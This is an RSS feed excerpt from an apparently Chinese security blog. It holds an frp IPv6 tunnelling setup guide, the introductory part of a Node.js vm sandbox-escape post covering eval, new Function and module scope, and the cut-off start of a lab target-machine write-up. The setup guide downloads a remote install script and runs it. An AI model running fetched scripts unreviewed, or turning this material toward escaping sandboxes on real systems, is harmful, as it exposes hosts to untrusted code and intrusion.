href="#ipv6%e4%bd%bf%e7%94%a8frp%e8%bf%9b%e8%a1%8c%e5%86%85%e7%bd%91%e7%a9%bf%e9%80%8f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="环境"&gt;&#10; 环境&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;ipv6服务器 frps&lt;/p&gt;&#10;&lt;p&gt;windows frpc&lt;/p&gt;&#10;&lt;p&gt;这里主要的问题就是端口的规划和配置文件的编写。&lt;/p&gt;&#10;&lt;p&gt;这里使用nginx&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt install nginx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安装frp&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;FRP服务端一键安装脚本：&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;wget&lt;/span&gt; &lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;githubusercontent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;MvsCode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;onekey&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;O&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;chmod&lt;/span&gt; &lt;span class="mi"&gt;700&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="nx"&gt;install&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;卸载命令：&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="nx"&gt;uninstall&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;更新FRP命令：&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;frps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;FRP常用命令：&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;开启FRP&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;frps&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;停止FRP：&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Frps&lt;/span&gt; &lt;span class="nx"&gt;stop&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;重启FRP&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;frps&lt;/span&gt; &lt;span class="nx"&gt;restart&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里在安装frp向导时候，直接将http端口设置为80 https为443，后边好用，其他都默认即可。&lt;/p&gt;&#10;&lt;p&gt;访问后台6443地址记得填写ipv6的地址，正常没有ipv4的机子安装他会给你分配一个ipv4但是我们通过这个地址访问不到6443，我们通过 ipv6:6443 去访问后台&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="nginx配置"&gt;&#10; nginx配置&lt;a class="heading-anchor" href="#nginx%e9%85%8d%e7%bd%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;将监听端口改为 9999，因为80，443 我们frp已经占用。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;sites&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403210008454.png" alt="image-20240321000819419" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403210008454.png" alt="image-20240321000819419"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>Nodejs vm沙箱逃逸</title><link>http://blog.foreverwl.top/blog/nodejs-vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</link><pubDate>Tue, 26 Mar 2024 11:25:07 +0800</pubDate><guid>http://blog.foreverwl.top/blog/nodejs-vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</guid><description>&lt;h3 id="基本概念"&gt;&#10; 基本概念&lt;a class="heading-anchor" href="#%e5%9f%ba%e6%9c%ac%e6%a6%82%e5%bf%b5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;什么是沙箱（sandbox）当我们运行一些可能会产生危害的程序，我们不能直接在主机的真实环境上进行测试，所以可以通过单独开辟一个运行代码的环境，它与主机相互隔离，但使用主机的硬件资源，我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响，而不会影响到主机上的功能，沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部。&lt;/p&gt;&#10;&lt;p&gt;vm模块是nodejs内置的模块。vm模块可以在当前Node.js 进程中创建一个新的沙箱环境，通过该沙箱环境执行用户提供的代码，以防止不安全的操作对主进程产生负面影响，但是这个vm模块的隔离功能并不完善，nodejs提供了第三方模块vm2，提供了更加安全、灵活和自定义的沙箱环境和代码执行功能。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="node将字符串执行为代码"&gt;&#10; Node将字符串执行为代码&lt;a class="heading-anchor" href="#node%e5%b0%86%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%89%a7%e8%a1%8c%e4%b8%ba%e4%bb%a3%e7%a0%81" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;创建一个包含year变量的文件，通过fs模块去读取文件内容，然后用eval函数去执行内容&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//year.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//1.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;aaa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;./year.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;UTF-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aaa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251544460.png" alt="image-20240325154429383" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251544460.png" alt="image-20240325154429383"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到报错了，因为在js中每一个模块都有自己独立的作用域，当前作用域下已经有了year变量&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="new-function"&gt;&#10; &lt;strong&gt;new Function&lt;/strong&gt;&lt;a class="heading-anchor" href="#new-function" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// const fs = require(&amp;#39;fs&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// let aaa =fs.readFileSync(&amp;#34;./year.txt&amp;#34;,&amp;#39;UTF-8&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// eval(aaa)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;year&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;return year+2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里创建了一个fun的函数，第一个参数也就是形参，第二个参数为函数主体&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251604724.png" alt="image-20240325160436690" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251604724.png" alt="image-20240325160436690"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看了上面的例子，我们如何通过传递字符串就能够将字符串执行为代码并且拥有自己的作用域呢，我们就需要用到vm模版。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="nodejs作用域"&gt;&#10; Nodejs作用域&lt;a class="heading-anchor" href="#nodejs%e4%bd%9c%e7%94%a8%e5%9f%9f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;我们可以通过require去引入文件，比如我们去引入fs模块require(&amp;quot;fs&amp;quot;)。每个文件都有自己的作用域，也就是我们再1.js中去require(&amp;quot;2.js&amp;quot;)，也不能在1.js中直接使用2.js中的变量和函数&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//2.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//1.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;./2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251710555.png" alt="image-20240325171046503" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251710555.png" alt="image-20240325171046503"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;age为undefined&lt;/p&gt;&#10;&lt;p&gt;如果想要使用2.js中的属性，node给我们提供了exports。exports是模块公开的接口&lt;/p&gt;&#10;&lt;p&gt;有关exports和module.exports的区别&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;正常对外暴露属性或者方法，使用exports&lt;/li&gt;&#10;&lt;li&gt;如需要暴露对象（类似class，包含了很多属性和方法），就使用module.exports&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//2.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//1.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;year&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;return year+2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;year&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;./2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251718645.png" alt="image-20240325171827607" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403251718645.png" alt="image-20240325171827607"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>Dc_1靶机</title><link>http://blog.foreverwl.top/blog/dc_1/</link><pubDate>Sun, 24 Mar 2024 12:18:23 +0800</pubDate><guid>http://blog.foreverwl.top/blog/dc_1/</guid><description>&lt;h3 id="靶机环境"&gt;&#10; 靶机环境&lt;a class="heading-anchor" href="#%e9%9d%b6%e6%9c%ba%e7%8e%af%e5%a2%83" 